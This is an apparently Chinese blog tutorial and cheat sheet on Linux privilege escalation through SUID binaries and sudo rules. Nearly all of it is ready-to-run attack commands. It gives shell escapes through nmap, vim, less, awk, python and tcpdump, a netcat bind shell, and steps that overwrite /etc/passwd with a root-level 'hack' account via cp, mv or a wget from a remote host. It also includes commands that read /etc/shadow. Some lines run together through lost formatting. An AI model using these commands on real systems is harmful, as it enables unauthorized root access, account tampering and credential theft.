SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,会使调用者暂时获得该文件拥有者的权限,如果拥有SUID权限,那么我们就 可以利用系统中的二进制文件和工具进行root提权。查找具有 SUID 权限位文件
下面的命令可以发现所有系统中运行的SUID可执行文件。其实更加准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件,然后将所有错误重定向到/dev/null,从而达到仅列出该用户具有访问权限的二进制文件的功能。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
-perm 表示搜索的权限 -u=s 表示查找root用户拥有的文件 -type 表示我们正在寻找的文件类型 f 表示常规文件,不是目录或特殊文件 2 表示该进程的第二个文件描述符,既stderr(标准错误) >表示重定向 > /dev/null 是一个特殊的文件系统对象,他将丢弃写入的所有内容
当然也可以使用 sudo -l 命令,列出当前用户可执行的命令
root ALL=(ALL) ALL
root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。
liver100day ALL= /sbin/poweroff
输入liver100day用户的密码,可以 sudo 执行 poweroff 命令。
liver100day ALL = (root) NOPASSWD: /usr/bin/find
不输入密码,可以 sudo 执行 find 命令
0x02 常用提权方式
nmap版本(2.02-5.21)存在交换模式,可利用进行提权
nmap --interactive
之后执行:
nmap>!sh
msf中的模块为:
exploit/unix/local/setuid_nmap
若nmap版本较新,可使用 --script 参数:
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
2.2 find
touch test find test -exec whoami ;
nc 反弹 shell:
find test -exec netcat -lvp 5555 -e /bin/sh ;2.3 vi/vim
打开vim/vi,按下ESC,输入下列语句
:set shell=/bin/sh :shell
或者
sudo vim -c '!sh'2.4 bash
bash -p2.5 less
less /etc/passwd !/bin/sh2.6 more
more /home/pelle/myfile !/bin/bash2.7 cp
覆盖 /etc/shadow 或 /etc/passwd
cat /etc/passwd >passwd openssl passwd -1 -salt hack hack123 #新建一个用户名为hack,密码为hack123的数据,对其进行加密并加入到/etc/passwd文件中 $1$hack$WTn0dk2QjNeKfl.DHOUue0 echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd cp passwd /etc/passwd su -hack Password:
即可成功提权
2.8 mv覆盖 /etc/shadow 或 /etc/passwd
cat /etc/passwd >passwd openssl passwd -1 -salt hack hack123 #新建一个用户名为hack,密码为hack123的数据,对其进行加密并加入到/etc/passwd文件中 $1$hack$WTn0dk2QjNeKfl.DHOUue0 echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd mv passwd /etc/passwd su -hack Password:2.9 nano
nano /etc/passwd2.10 awk
awk 'BEGIN {system("/bin/sh")}'
2.11 man
man passwd !/bin/bash2.12 wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd2.13 apache
仅可查看文件,不能弹 shell:
apache2 -f /etc/shadow2.14 tcpdump
echo $'idncat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root2.15 python
python -c "import os;os.system('/bin/bash')"
后言
最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!



